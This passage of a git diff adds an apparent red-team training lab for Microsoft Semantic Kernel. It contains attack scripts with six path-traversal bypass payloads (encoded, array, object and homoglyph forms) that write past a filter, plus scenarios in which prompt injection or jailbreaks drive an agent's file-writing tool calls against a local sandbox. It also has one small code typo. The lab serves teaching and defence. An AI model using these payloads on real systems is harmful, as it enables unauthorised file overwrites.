{BOLD}{GREEN}2{RESET}) Lesson 2: AutoInvoke Exploitation (CWE-1039) & 'Shell Blinding'" + ) + print(f" {BOLD}{GREEN}3{RESET}) Exit Training Session") + + choice = input(f"\n{BOLD}Enter Selection (1-3): {RESET}").strip() + + if choice == "1": + if not metadata: + print( + f"\n{RED}[!] Error: Start the target sandbox container first.{RESET}" + ) + time.sleep(1.5) + continue + type_confusion_arena(target) + input(f"\n{CYAN}Press Enter to return to main menu...{RESET}") + elif choice == "2": + if not metadata: + print( + f"\n{RED}[!] Error: Start the target sandbox container first.{RESET}" + ) + time.sleep(1.5) + continue + autoinvoke_simulator(target) + input(f"\n{CYAN}Press Enter to return to main menu...{RESET}") + elif choice == "0": + print(f"\n{BOLD}Sandbox Management:{RESET}") + print(f" {BOLD}{GREEN}1{RESET}) Start UNHARDENED mode") + print( + f" {BOLD}{GREEN}2{RESET}) Start HARDENED mode (LAB_HARDENED=true - PathSanitizationFilter active)" + ) + print(f" {BOLD}{GREEN}3{RESET}) Stop container") + print(f" {BOLD}{GREEN}B{RESET}) Back to main menu") + sub_choice = input(f"\n{BOLD}Enter selection: {RESET}").strip() + + sandbox_path = "../../sandboxes/agentic_local_semantickernel" + + if sub_choice == "1": + subprocess.run(["podman", "stop", "sk-vulnerable"], capture_output=True) + subprocess.run(["podman", "rm", "sk-vulnerable"], capture_output=True) + result = subprocess.run( + [ + "podman", + "run", + "-d", + "--name", + "sk-vulnerable", + "-p", + "8000:8080", + "-v", + f"{sandbox_path}/app/data:/app/data", + "sk-vulnerable", + ], + capture_output=True, + text=True, + ) + if result.returncode == 0: + print(f"\n{GREEN}[✅] Container started in UNHARDENED mode.{RESET}") + else: + print(f"\n{RED}[❌] Failed: {result.stderr}{RESET}") + time.sleep(3) + elif sub_choice == "2": + subprocess.run(["podman", "stop", "sk-vulnerable"], capture_output=True) + subprocess.run(["podman", "rm", "sk-vulnerable"], capture_output=True) + result = subprocess.run( + [ + "podman", + "run", + "-d", + "--name", + "sk-vulnerable", + "-p", + "8000:8080", + "-e", + "LAB_HARDENED=true", + "-v", + f"{sandbox_path}/app/data:/app/data", + "sk-vulnerable", + ], + capture_output=True, + text=True, + ) + if result.returncode == 0: + print(f"\n{GREEN}[✅] Container started in HARDENED mode.{RESET}") + else: + print(f"\n{RED}[❌] Failed: {result.stderr}{RESET}") + time.sleep(3) + elif sub_choice == "3": + subprocess.run(["podman", "stop", "sk-vulnerable"], capture_output=True) + subprocess.run(["podman", "rm", "sk-vulnerable"], capture_output=True) + print(f"\n{YELLOW}[*] Container stopped and removed.{RESET}") + continue + elif choice == "3": + print(f"\n{GREEN}[*] Session terminated. Happy hacking!{RESET}\n") + sys.exit(0) + else: + print(f"{RED}Invalid option selected.{RESET}") + time.sleep(1) + + +if __name__ == "__main__": + main() diff --git a/exploitation/semantickernel/semantickernel_autoinvoke/Makefile b/exploitation/semantickernel/semantickernel_autoinvoke/Makefile new file mode 100644 index 0000000..4ceecca --- /dev/null +++ b/exploitation/semantickernel/semantickernel_autoinvoke/Makefile @@ -0,0 +1,18 @@ +.PHONY: attack scenario-1 scenario-2 scenario-3 scenario-4 all + +attack: + @python3 attack.py + +scenario-1: + @python3 attack.py --scenario 1 + +scenario-2: + @python3 attack.py --scenario 2 + +scenario-3: + @python3 attack.py --scenario 3 + +scenario-4: + @python3 attack.py --scenario 4 + +all: attack diff --git a/exploitation/semantickernel/semantickernel_autoinvoke/attack.py b/exploitation/semantickernel/semantickernel_autoinvoke/attack.py new file mode 100755 index 0000000..b8b86ba --- /dev/null +++ b/exploitation/semantickernel/semantickernel_autoinvoke/attack.py @@ -0,0 +1,202 @@ +#!/usr/bin/env python3 +""" +AutoInvokeKernelFunctions Privilege Escalation Simulation Exploit +Educational Lab Script - GenAI Red Team Lab (OWASP LLM06 / CWE-1039) +Author: Jeff Ponte (JDP Security Research) +""" + +import argparse +import json +import sys + +import requests + +# Architectural Explanations for the student +ARCHITECTURAL_CONTEXT = """ +================================================================================ + OWASP GENAI RED TEAM LAB: AUTO-INVOCATION PRIVILEGE ESCALATION +================================================================================ +[!] Vulnerability Class: CWE-1039 (Insecure Automated Optimizations) +[!] Severity: CVSS 10.0 (Critical) + +[?] THE TRUST GAP: + Traditional applications enforce a trust boundary between client input and + privileged system calls. In agentic frameworks with Auto-Invocation enabled, + the application passes raw, unstructured user prompts to the LLM. If the LLM + decides to call a tool, the framework automatically maps and executes it. + + This creates an immense "Trust Gap": an untrusted, stochastic input source (the LLM) + is granted direct permission to invoke system routines, bypassing traditional + validation filters entirely! + +[?] MICROSOFT'S "SHELL BLINDING" MITIGATION (Commit fa2d52f6): + To address raw path disclosures, Microsoft added an output filter to blind + or omit the return parameters of critical write operations on the console. + + This is a purely COSMETIC mitigation. The backend still writes the files to + the host system out-of-band (OOB). This script executes the exploit and + verifies if the payload bypassed the shell blinding to land safely. +================================================================================ +""" + +SCENARIOS = [ + { + "name": "Scenario 1: Indirect Prompt Injection", + "desc": "LLM reads context-poisoned file, executes path traversal autonomously", + "explanation": ( + "An attacker plants a malicious prompt in a document. When the agent reads the \n" + " document, the instructions hijack the model context, forcing it to generate a \n" + " native file tool call targeting sensitive config files." + ), + "tool_call": { + "plugin": "FileTools", + "function": "SaveConversation", + "arguments": { + "path": "../../config.txt", + "content": "AUTOINVOKE1_OOB_LANDED\n", + }, + }, + }, + { + "name": "Scenario 2: Context Manipulation", + "desc": "Exploiting system instruction overrides to force autonomous actions", + "explanation": ( + "The attacker appends adversarial strings mimicking system instructions. \n" + " This forces the agent to skip validation checks and trigger tool calls natively." + ), + "tool_call": { + "plugin": "FileTools", + "function": "SaveConversation", + "arguments": { + "path": "../../config.txt", + "content": "AUTOINVOKE2_OOB_LANDED\n", + }, + }, + }, + { + "name": "Scenario 3: LLM Jailbreak", + "desc": "Simulated developer alignment escape producing tool calls", + "explanation": ( + "We exploit alignment vulnerabilities to break the LLM's safety guardrails. \n" + " Once jailbroken, the model complies with requests to compromise its host operating system." + ), + "tool_call": { + "plugin": "FileTools", + "function": "SaveConversation", + "arguments": { + "path": "../../config.txt", + "content": "AUTOINVOKE3_OOB_LANDED\n", + }, + }, + }, + { + "name": "Scenario 4: Multi-Stage Hijacking", + "desc": "Chained processing of hidden document content into code alteration", + "explanation": ( + "A complex scenario where a low-priority read function loads instructions that dynamically \n" + " chain into a high-priority write function, overwriting core configurations without human review." + ), + "tool_call": { + "plugin": "FileTools", + "function": "SaveConversation", + "arguments": { + "path": "../../config.txt", + "content": "AUTOINVOKE4_OOB_LANDED\n", + }, + }, + }, +] + + +def run(target, scenario=None): + print(ARCHITECTURAL_CONTEXT) + + scenarios = [ + s + for s in SCENARIOS + if not scenario or s["name"].startswith(f"Scenario {scenario}") + ] + results = [] + + print("[*] Dispatching Auto-Invocation Attack Harness...") + for i, s in enumerate(scenarios, 1): + print(f"\n--- [Attack {i}/{len(scenarios)}] Executing: {s['name']} ---") + print(f" [?] Focus: {s['desc']}") + print(f" [?] Vector Explainer: {s['explanation']}") + print(f" [i] Sending Autonomous Tool Request to orchestrator...") + + try: + r = requests.post( + f"{target}/api/autoinvoke", + json={"userPrompt": "Simulated LLM prompt", "toolCall": s["tool_call"]}, + timeout=10, + ) + + if r.status_code == 200: + print(f" [+] EXPLOIT TRIGGER SENT (200 OK)") + raw_res = r.json().get("result", "") + print(f" [i] Framework Output Response: {raw_res}") + + # Check for active Shell Blinding mitigation + if "[REDACTED BY SHELL BLINDING POLICY" in raw_res: + print( + "\n [!] REVEALED INTEL: Commit 'fa2d52f6' (Shell Blinding) is ACTIVE!" + ) + print( + " The server returned a redacted placeholder to mask the written file path." + ) + print( + " This indicates the server tried to hide the path traversal, but did it" + ) + print( + " prevent the system write? Let's check the verification step next!" + ) + + results.append(True) + elif r.status_code == 400: + print(f" [❌] EXPLOIT BLOCKED BY MITIGATION (400 Bad Request)") + print( + " The backend rejected the argument payload before execution." + ) + results.append(False) + else: + print(f" [!] Unexpected Response Code: {r.status_code}") + results.append(False) + except Exception as e: + print(f" [!] Connection error: {e}") + results.append(False) + + print( + "\n================================================================================" + ) + print(" LAB EVALUATION RESULTS") + print( + "================================================================================" + ) + successful_triggers = sum(results) + print( + f"[i] Total automated triggers succeeded: {successful_triggers}/{len(results)}" + ) + if successful_triggers == len(results) and len(results) > 0: + print("\n[!] VERDICT: AutoInvoke is vulnerable.") + print( + " The orchestrator successfully accepted and auto-invoked the malicious tool." + ) + print( + " Please run: 'podman exec sk-vulnerable cat /app/config.txt' to verify." + ) + elif successful_triggers == 0: + print( + "\n[✅] PASS: System is fully hardened. No privilege escalation vectors could land." + ) + print( + "================================================================================\n" + ) + + +if __name__ == "__main__": + p = argparse.ArgumentParser() + p.add_argument("--target", default="http://localhost:8000") + p.add_argument("--scenario") + args = p.parse_args() + run(args.target.rstrip("/"), args.scenario) diff --git a/exploitation/semantickernel/semantickernel_type_confusion/Makefile b/exploitation/semantickernel/semantickernel_type_confusion/Makefile new file mode 100644 index 0000000..b1069eb --- /dev/null +++ b/exploitation/semantickernel/semantickernel_type_confusion/Makefile @@ -0,0 +1,24 @@ +.PHONY: attack vector-1 vector-2 vector-3 vector-4 vector-5 vector-6 all + +attack: + @python3 attack.py + +vector-1: + @python3 attack.py --vector 1 + +vector-2: + @python3 attack.py --vector 2 + +vector-3: + @python3 attack.py --vector 3 + +vector-4: + @python3 attack.py --vector 4 + +vector-5: + @python3 attack.py --vector 5 + +vector-6: + @python3 attack.py --vector 6 + +all: attack diff --git a/exploitation/semantickernel/semantickernel_type_confusion/attack.py b/exploitation/semantickernel/semantickernel_type_confusion/attack.py new file mode 100755 index 0000000..c1a64b2 --- /dev/null +++ b/exploitation/semantickernel/semantickernel_type_confusion/attack.py @@ -0,0 +1,246 @@ +#!/usr/bin/env python3 +""" +CVE-2026-25592 Type Confusion Bypass Demonstration Exploit +Educational Lab Script - GenAI Red Team Lab (OWASP LLM06 / CWE-1039) +Author: Jeff Ponte (JDP Security Research) +""" + +import argparse +import base64 +import json +import sys +from urllib.parse import quote + +import requests + +# Architectural Explanations for the student +ARCHITECTURAL_CONTEXT = """ +================================================================================ + OWASP GENAI RED TEAM LAB: TYPE CONFUSION ARCHITECTURAL EXPLAINER +================================================================================ +[!] Vulnerability Class: Type Confusion / Late Canonicalization (CVE-2026-25592 Bypass) +[!] Severity: CVSS 10.0 (Critical) + +[?] THE ROOT CAUSE: + In Semantic Kernel, developers implemented a security filter to detect path + traversal. However, the filter's validation logic was severely siloed: + + 1. FILTER CHECK (Time of Check): + It evaluated arguments using strict type checks, e.g.: + `if (arg.Value is string s && (s.Contains("..") || s.Contains("/"))` + + 2. EXECUTION SINK (Time of Use): + If the argument is NOT a flat string type (like an Array, Anonymous Object, + or encoded payload), the check evaluates to FALSE, skipping the filter! + However, when the argument hits the native plugin system, the execution sink + deserializes and canonicalizes the complex object back into a string anyway. + + This difference between how the Filter evaluates a type versus how the execution + Sink resolves a type creates a CLASSIC TYPE CONFUSION gap. +================================================================================ +""" + +PAYLOADS = [ + { + "name": "Vector 1: JSON Array Confusion", + "bypass_mechanism": ( + "The filter checks 'arg.Value is string'. By wrapping our path traversal in a \n" + " JSON Array (['..', '..', 'config.txt']), the check returns False. At the execution \n" + " sink, System.Text.Json extracts the first element natively, writing out-of-bounds." + ), + "payload": { + "plugin": "FileTools", + "function": "SaveConversation", + "arguments": { + "path": ["..", "..", "config.txt"], + "content": "BYPASS1_SUCCESS\n", + }, + }, + }, + { + "name": "Vector 2: Object Reflection Bypass", + "bypass_mechanism": ( + "Passing an anonymous JSON object with an inner property evasion. The filter \n" + " skips checking because it isn't a string. The plugin's execution sink utilizes \n" + " C# reflection dynamically to look for properties named 'path' and extracts the traversal payload." + ), + "payload": { + "plugin": "FileTools", + "function": "SaveConversation", + "arguments": { + "path": {"path": "../../config.txt", "name": "legit.txt"}, + "content": "BYPASS2_SUCCESS\n", + }, + }, + }, + { + "name": "Vector 3: Base64 Decoded Bypass", + "bypass_mechanism": ( + "The path argument is base64 encoded. The filter sees a benign alphanumeric string \n" + " ending with '==', completely bypassing dot-dot-slash validation. The native plugin sink \n" + " natively decodes the string to a raw path before processing file operations." + ), + "payload": { + "plugin": "FileTools", + "function": "SaveConversation", + "arguments": { + "path": base64.b64encode(b"../../config.txt").decode(), + "content": "BYPASS3_SUCCESS\n", + }, + }, + }, + { + "name": "Vector 4: URL Encoding Evasion", + "bypass_mechanism": ( + "The traversal contains '%2e%2e%2f' characters. The validation filter fails to find \n" + " literal slashes or double-dots. The native .NET WebUtility.UrlDecode() function decodes \n" + " the sequence at the execution sink, leading to traversal." + ), + "payload": { + "plugin": "FileTools", + "function": "SaveConversation", + "arguments": { + "path": "..%2f..%2fconfig.txt", + "content": "BYPASS4_SUCCESS\n", + }, + }, + }, + { + "name": "Vector 5: Unicode Homoglyph Normalization", + "bypass_mechanism": ( + "We use the Unicode 'Fraction Slash' (U+2044: 'Fraction Slash' ⁄) instead of a native '/'. \n" + " The string filter does not recognize this character, passing it as safe. During disk writing, \n" + " the underlying Operating System canonicalizes and normalizes the homoglyph to a native '/'." + ), + "payload": { + "plugin": "FileTools", + "function": "SaveConversation", + "arguments": { + "path": "..\u2044..\u2044config.txt", + "content": "BYPASS5_SUCCESS\n", + }, + }, + }, + { + "name": "Vector 6: Multi-Layered Hybrid Confusion", + "bypass_mechanism": ( + "Combining Base64 encoding inside a JSON Array wrapper to exhaust non-recursive validation \n" + " mechanisms. The validation filter is blinded by the nested structure, skipping verification entirely." + ), + "payload": { + "plugin": "FileTools", + "function": "SaveConversation", + "arguments": { + "path": [base64.b64encode(quote("../../config.txt").encode()).decode()], + "content": "BYPASS6_SUCCESS\n", + }, + }, + }, +] + + +def run(target, vector=None): + print(ARCHITECTURAL_CONTEXT) + + # Check for the Sandbox Paradox (PR #13683 check) + print("[*] STEP 1: Querying target metadata for Sandbox containment defaults...") + try: + health_req = requests.get(f"{target}/api/health", timeout=5) + if health_req.status_code == 200: + metadata = health_req.json() + is_sandbox_paradox = metadata.get("allowedDirectoriesSandbox") + print(f" [i] Target Version: {metadata.get('version', 'Unknown')}") + print( + f" [i] Microsoft 'AllowedDirectories' Status: {is_sandbox_paradox}" + ) + + if is_sandbox_paradox == "disabled": + print( + " [!] ARCHITECTURAL FINDING: The Opt-In Sandbox Paradox is ACTIVE!" + ) + print( + " Microsoft introduced the directory-anchoring fix (PR #13683) as a" + ) + print( + " breaking change, leaving it strictly OPT-IN. By default, it is" + ) + print( + " disabled, allowing full-system path breakouts if filters are bypassed.\n" + ) + else: + print( + " [-] Failed to retrieve health metadata (HTTP %d). Proceeding...\n" + % health_req.status_code + ) + except Exception as e: + print(f" [!] Health check connection error: {e}. Moving on...\n") + + payloads = [ + p for p in PAYLOADS if not vector or p["name"].startswith(f"Vector {vector}") + ] + + print("[*] STEP 2: Running Type Confusion Exploitation Harness...") + results = [] + + for i, p in enumerate(payloads, 1): + print(f"\n--- [Test {i}/{len(payloads)}] Executing: {p['name']} ---") + print(f" [?] How it works: {p['bypass_mechanism']}") + print( + f" [i] Dispatching Payload JSON structure: {json.dumps(p['payload']['arguments'])}" + ) + + try: + r = requests.post(f"{target}/api/invoke", json=p["payload"], timeout=10) + if r.status_code == 200: + print(f" [✅] EXPLORATION LANDED (200 OK)") + print(f" Engine Response: {r.json().get('result')}") + results.append(True) + elif r.status_code == 400: + print(f" [❌] BLOCKED BY MITIGATION MIDDLEWARE (400 Bad Request)") + print( + " The application-layer security filter caught and blocked the request." + ) + results.append(false) + else: + print(f" [!] Error response code: {r.status_code}") + results.append(False) + except Exception as e: + print(f" [!] Target endpoint unreachable: {e}") + results.append(False) + + print( + "\n================================================================================" + ) + print(" LAB EVALUATION RESULTS") + print( + "================================================================================" + ) + successful_runs = sum(results) + print( + f"[i] Total execution bypass rate: {successful_runs}/{len(results)} launched." + ) + if successful_runs == len(results) and len(results) > 0: + print("\n[!] VERDICT: Sandbox is in UNHARDENED state.") + print( + " All type confusion payloads successfully bypassed the validation filter and" + ) + print(" reached the native execution sink.") + elif successful_runs == 0 and len(results) > 0: + print("\n[✅] VERDICT: Sandbox is in HARDENED state.") + print( + " The application successfully blocked all type confusion attack vectors. " + ) + print( + " This confirms the deployment of a robust Canonicalization-before-Validation filter!" + ) + print( + "================================================================================\n" + ) + + +if __name__ == "__main__": + p = argparse.ArgumentParser() + p.add_argument("--target", default="http://localhost:8000") + p.add_argument("--vector") + args = p.parse_args() + run(args.target.rstrip("/"), args.vector) diff --git a/exploitation/semantickernel/submission_audit.md b/exploitation/semantickernel/submission_audit.md new file mode 100644 index 0000000..72e3ef1 --- /dev/null +++ b/exploitation/semantickernel/submission_audit.md @@ -0,0 +1,157 @@ +# OWASP GenAI Red Team Lab: Semantic Kernel Validation & Audit Report + +**Target Vulnerability:** Microsoft Semantic Kernel Orchestration Trust Gap (CVE-2026-25592 / CWE-1039) + +**Lab Modules Evaluated:** `verify_all.sh`, `interactive_trainer.py`, `Program.cs`, `attack.py` (Type Confusion & AutoInvoke) + +**Author/Researcher:** Jeff Ponte (JDP Security Research) + +**Vulnerability State:** 🚀 **VERIFIED (Bypass Posture Confirmed)** + +**Reference:** [JDP-2026-001 White Paper](https://jdp-security.github.io/security-research-papers/2026-04-28-semantic-kernel-disclosure.html) + +--- + +## 1. Automated Verification Run Analysis + +The double-pass automated testing suite (`verify_all.sh`) evaluates the system's security posture under two distinct conditions. Below is the technical breakdown of the output logs generated during execution. + +``` + ┌──────────────────────────────────────────────────────────┐ + │ [❌] SECURITY FAILURE (INTENTIONAL TEACHING MOMENT) │ + │ Payload bypassed the hardening filters! │ + │ The PathSanitizationFilter did NOT block the attack. │ + │ │ + │ 🔬 WHY THIS IS EXPECTED (TOCTOU): │ + │ The filter checks the argument BEFORE decoding. │ + │ Base64-encoded paths contain no ".." or "/" characters. │ + │ The plugin decodes them AFTER the filter check. │ + └──────────────────────────────────────────────────────────┘ +``` + +### Double-Pass Execution Matrix + +| Vector | Payload Interface | Unhardened State | Hardened State (`ToString()`) | Mitigated Path | +|--------|------------------|------------------|-------------------------------|----------------| +| **Vector 1: JSON Array** | `["..","..","config.txt"]` | **EXPLOITED** | **BLOCKED** | Caught by array evaluation | +| **Vector 2: Object Reflection** | `{"path":"../../config.txt"}` | **EXPLOITED** | **BLOCKED** | Caught by object string expansion | +| **Vector 3: Base64** | `"Li4vLi4vY29uZmlnLnR4dA=="` | **EXPLOITED** | **BYPASSED** (TOCTOU) | Requires recursive validation | +| **Vector 4: URL Encoding** | `"..%2f..%2fconfig.txt"` | **EXPLOITED** | **BLOCKED** | Caught by `%2f` string mapping | +| **Vector 5: Unicode Homoglyph** | `"..⁄..⁄config.txt"` | **EXPLOITED** | **BLOCKED** | Caught by dot-traversal check | +| **Vector 6: Hybrid Array/B64** | `["Li4vLi4vY29uZmlnLnR4dA=="]` | **EXPLOITED** | **BYPASSED** (TOCTOU) | Requires deep deserialization | + +--- + +## 2. Technical Breakdown: The Recursive Canonicalization Problem + +The core architectural vulnerability highlighted in this lab is a classic **Time-of-Check vs. Time-of-Use (TOCTOU)** race condition, specifically applied to serialization boundaries. + +``` +[LLM Tool Argument] ──> [PathSanitizationFilter (ToString Checks)] ──> PASS (No ".." or "/" in Base64) + │ + ▼ +[FilePlugin Execution Sink] <── [Decodes Base64 to "../../config.txt"] <── [System File Write Exploit] +``` + +### Why Vector 3 & 6 Successfully Evaded the Hardened Filter: + +1. **At Time-of-Check (The Filter):** The input argument `path` contains the string `"Li4vLi4vY29uZmlnLnR4dA=="`. The security filter converts the object to a string and scans for structural traversal patterns (`..`, `/`, `%2f`). Because the base64 string is entirely alphanumeric, the filter registers the input as safe and passes it downstream. + +2. **At Time-of-Use (The Sink):** Once the input reaches the native `FilePlugin`, the application detects that the payload ends with `==` and decodes the string to raw bytes, resolving back to `../../config.txt`. It then runs `Path.Combine` and performs the write, completely breaking containment out-of-band. + +--- + +## 3. Repository Workspace Structure + +The workspace is organized into two main components: the **exploitation toolkit** (attack scripts and trainers) and the **sandbox target** (vulnerable container). + +### Exploitation Toolkit + +``` +exploitation/semantickernel/ +├── README.md # Student lab walkthrough guide +├── interactive_trainer.py # Interactive CLI training wizard +├── verify_all.sh # Automated double-pass test orchestrator +├── submission_audit.md # This document (vulnerability posture) +├── semantickernel_type_confusion/ +│ ├── attack.py # 6 Type Confusion exploit payloads +│ └── Makefile # Test runners for individual vectors +└── semantickernel_autoinvoke/ + ├── attack.py # 4 CWE-1039 AutoInvoke exploit scenarios + └── Makefile # Test runners for AutoInvoke targets +``` + +### Sandbox Target Environment + +``` +sandboxes/agentic_local_semantickernel/ +├── README.md # Sandbox documentation +├── Containerfile # Multi-stage .NET 8.0 build container +├── Makefile # Build/run commands (build, run, run-hardened) +└── app/ + ├── Program.cs # Vulnerable C# API server (Semantic Kernel v1.48.0) + ├── VulnerableSemanticKernel.csproj # .NET project file + └── data/ # Mounted volume for file operations +``` + +### Architecture Overview + +``` +┌──────────────────────────────────────────────────────────────┐ +│ ATTACKER ENVIRONMENT │ +│ exploitation/semantickernel/ │ +│ ├── interactive_trainer.py (menu-driven CLI) │ +│ ├── verify_all.sh (double-pass automation) │ +│ ├── semantickernel_type_confusion/attack.py (6 vectors) │ +│ └── semantickernel_autoinvoke/attack.py (4 scenarios) │ +└─────────────────────┬────────────────────────────────────────┘ + │ HTTP POST (port 8000) + ▼ +┌──────────────────────────────────────────────────────────────┐ +│ TARGET ENVIRONMENT │ +│ sandboxes/agentic_local_semantickernel/ │ +│ └── app/Program.cs (Semantic Kernel v1.48.0) │ +│ ├── PathSanitizationFilter (IFunctionInvocationFilter) │ +│ │ └── TOCTOU vulnerable: checks BEFORE decoding │ +│ ├── FilePlugin (execution sink) │ +│ │ └── Decodes AFTER filter check → path traversal │ +│ └── /api/autoinvoke (CWE-1039 AutoInvoke) │ +│ └── Shell Blinding (fa2d52f6): cosmetic only │ +└──────────────────────────────────────────────────────────────┘ +``` + +--- + +## 4. Architectural Mitigations & Strategic Cures + +This repository demonstrates that typical string-filtering hotfixes at the application layer resemble a game of **"Whack-a-Mole."** Resolving Insecure Orchestration (OWASP LLM06) permanently requires structural adjustments: + +* **Mandatory Path Anchoring:** Implement strict sandbox roots (such as C# `Path.GetFullPath` boundary verification) directly in the file system access libraries, rather than relying on LLM input sanitization. + +* **Type-Safe Inputs:** Avoid registering generic `object path` types on sensitive native plugins. Enforcing strongly typed parameters prevents the system from processing deserialization arrays or objects dynamically. + +* **Recursive Pre-Filter Canonicalization:** Ensure that all potential encodings (Base64, URL-encoding, Unicode homoglyphs) are fully unpacked and normalized *before* passing the telemetry array to the security evaluation engines. + +--- + +## 5. Companion Training Tools + +In addition to the automated verification suite, the lab includes an interactive training wizard for hands-on exploration: + +| Tool | Purpose | +|------|---------| +| `interactive_trainer.py` | Menu-driven CLI exploring all 6 Type Confusion vectors and AutoInvoke scenarios with real-time telemetry and Shell Blinding toggle | +| `verify_all.sh` | Fully automated double-pass verification (Unhardened vs. Hardened) with OOB filesystem validation | + +--- + +## 6. References + +- [JDP-2026-001: The Orchestration Trust Gap — Remediation Evasions in Microsoft Semantic Kernel and Agent Framework 1.0](https://jdp-security.github.io/security-research-papers/2026-04-28-semantic-kernel-disclosure.html) +- CVE-2026-25592: Path Traversal in Microsoft Semantic Kernel +- CWE-843: Type Confusion (Late Canonicalization) +- CWE-1039: Insecure Automated Optimizations (AutoInvoke) +- OWASP Top 10 for LLMs: LLM06 - Insecure Orchestration +- Commit `fa2d52f6`: Shell Blinding (cosmetic output masking) +- PR #13683: AllowedDirectories (opt-in "Breaking Change" — disabled by default) + diff --git a/exploitation/semantickernel/verify_all.sh b/exploitation/semantickernel/verify_all.sh new file mode 100755 index 0000000..3126c79 --- /dev/null +++ b/exploitation/semantickernel/verify_all.sh @@ -0,0 +1,600 @@ +#!/usr/bin/env bash +# ============================================================================== +# OWASP GenAI Red Team Lab - Comprehensive Double-Pass Verification Suite +# Targets: Microsoft Semantic Kernel Type Confusion & AutoInvoke Vulnerabilities +# +# LOCATION: exploitation/semantickernel/verify_all.sh +# AUTHOR: Jeff Ponte (JDP Security Research) +# LICENSE: OWASP GenAI Red Team Manual Project +# +# WHAT THIS SCRIPT DOES: +# This script performs a TWO-PASS security evaluation of a Semantic Kernel +# containerized application. It demonstrates the architectural "Trust Gap" +# between the framework's validation filters and the underlying execution sinks. +# +# PASS 1 - VULNERABLE (UNHARDENED) MODE: +# The container runs WITHOUT the LAB_HARDENED environment variable. The +# PathSanitizationFilter is NOT registered. All 6 type confusion bypass +# vectors + 4 AutoInvoke scenarios should SUCCEED. +# +# PASS 2 - SECURE (HARDENED) MODE: +# The container runs WITH LAB_HARDENED=true. The PathSanitizationFilter IS +# registered. All attack vectors should be BLOCKED. +# +# ARCHITECTURAL CONTEXT: +# CVE-2026-25592 (JDP-2026-001) describes a path traversal vulnerability in Microsoft +# Paper: https://jdp-security.github.io/security-research-papers/2026-04-28-semantic-kernel-disclosure.html +# Semantic Kernel. The official patch implemented an IFunctionInvocationFilter +# that checks `arg.Value is string`. However, this check is BYPASSED when the +# LLM sends arguments as JSON arrays, objects, or encoded strings (Type +# Confusion). The execution sink deserializes these types back into strings, +# creating a TIME-OF-CHECK / TIME-OF-USE mismatch. +# +# Commit fa2d52f6 ("Shell Blinding") attempted to mask output by redacting +# file paths from the LLM context. This is a COSMETIC fix - the underlying +# file write still executes. This script verifies the write Out-of-Band (OOB) +# by directly reading the filesystem inside the container. +# ============================================================================== + +set -e + +# ------------------------------------------------------------------------------ +# SECTION 1: ENVIRONMENT DETECTION +# ------------------------------------------------------------------------------ +echo "" +echo "==================================================================================" +echo " OWASP GENAI RED TEAM LAB: DOUBLE-PASS COMPREHENSIVE RUNNER" +echo " Target: Microsoft Semantic Kernel v1.48.0 - Type Confusion + AutoInvoke" +echo " Vulnerability Class: CWE-843 (Type Confusion) → CWE-22 (Path Traversal) → CWE-94 (Code Injection)" +echo " CVSS v3.1: 10.0 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)" +echo "==================================================================================" +echo "" + +# Detect container engine (Podman preferred for rootless, fallback to Docker) +CONTAINER_ENGINE=$(command -v podman 2>/dev/null || echo docker) +echo "[i] Container Engine: ${CONTAINER_ENGINE}" + +# Setup pathing variables relative to script location +SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" +SANDBOX_DIR="$(cd "${SCRIPT_DIR}/../../sandboxes/agentic_local_semantickernel" && pwd)" +CONFUSION_DIR="${SCRIPT_DIR}/semantickernel_type_confusion" +AUTOINVOKE_DIR="${SCRIPT_DIR}/semantickernel_autoinvoke" + +# Target API Address (host port 8000 → container port 8080) +TARGET_URL="http://127.0.0.1:8000" + +echo "[i] Script Location: ${SCRIPT_DIR}" +echo "[i] Sandbox Directory: ${SANDBOX_DIR}" +echo "[i] Type Confusion Tests: ${CONFUSION_DIR}" +echo "[i] AutoInvoke Tests: ${AUTOINVOKE_DIR}" +echo "[i] Target URL: ${TARGET_URL}" +echo "" + +# ------------------------------------------------------------------------------ +# SECTION 2: HELPER FUNCTIONS +# ------------------------------------------------------------------------------ + +# Wait for the Kestrel web server to become responsive +function wait_for_service() { + echo -n "[*] Waiting for Kestrel web server to bind to port 8000..." + for i in {1..20}; do + if curl -s "${TARGET_URL}/api/health" > /dev/null 2>&1; then + echo -e "\n[+] Service is up and responsive." + echo " Health endpoint returned: $(curl -s ${TARGET_URL}/api/health 2>/dev/null)" + return 0 + fi + echo -n "." + sleep 2 + done + echo -e "\n[!] ERROR: Server did not start in time. Container logs:" + ${CONTAINER_ENGINE} logs sk-vulnerable --tail 30 + exit 1 +} + +# Clean and reset the environment between passes +function clean_environment() { + ${CONTAINER_ENGINE} stop sk-vulnerable 2>/dev/null || true + ${CONTAINER_ENGINE} rm sk-vulnerable 2>/dev/null || true + if [ -d "${SANDBOX_DIR}/app/data" ]; then + rm -rf "${SANDBOX_DIR}/app/data" 2>/dev/null || true + fi + mkdir -p "${SANDBOX_DIR}/app/data" + echo "[i] Environment cleaned. Container stopped and data directory reset." +} + +# Verify Out-of-Band writes inside the container +function verify_oob() { + local pass_name=$1 + local mode=$2 # "unhardened" or "hardened" + + echo "" + echo " ┌──────────────────────────────────────────────────────────┐" + echo " │ Checking filesystem inside the container for payloads │" + echo " └──────────────────────────────────────────────────────────┘" + + # Check both possible traversal targets: + # /app/config.txt = 1 level up from /app/data/ + # /config.txt = 2 levels up from /app/data/ (root) + local config_root=$(${CONTAINER_ENGINE} exec sk-vulnerable cat /config.txt 2>/dev/null || echo "") + local config_app=$(${CONTAINER_ENGINE} exec sk-vulnerable cat /app/config.txt 2>/dev/null || echo "") + + echo " /config.txt (root traversal target):" + echo " ─────────────────────────────────────────" + if [ -n "$config_root" ]; then + echo "$config_root" | sed 's/^/ /' + else + echo " (empty or does not exist)" + fi + + echo "" + echo " /app/config.txt (app-level traversal target):" + echo " ─────────────────────────────────────────────" + if [ -n "$config_app" ]; then + echo "$config_app" | sed 's/^/ /' + else + echo " (empty or does not exist)" + fi + + # Check for any BYPASS or AUTOINVOKE signatures + local found_root=0 + local found_app=0 + if echo "$config_root" | grep -q -E "BYPASS|AUTOINVOKE" 2>/dev/null; then found_root=1; fi + if echo "$config_app" | grep -q -E "BYPASS|AUTOINVOKE" 2>/dev/null; then found_app=1; fi + local total_found=$((found_root + found_app)) + + echo "" + if [ "$mode" = "unhardened" ]; then + if [ "$total_found" -gt 0 ]; then + echo " ┌──────────────────────────────────────────────────────────┐" + echo " │ Payload successfully wrote to the filesystem! │" + echo " │ The Shell Blinding (fa2d52f6) was BYPASSED. │" + echo " │ │" + echo " │ WHY 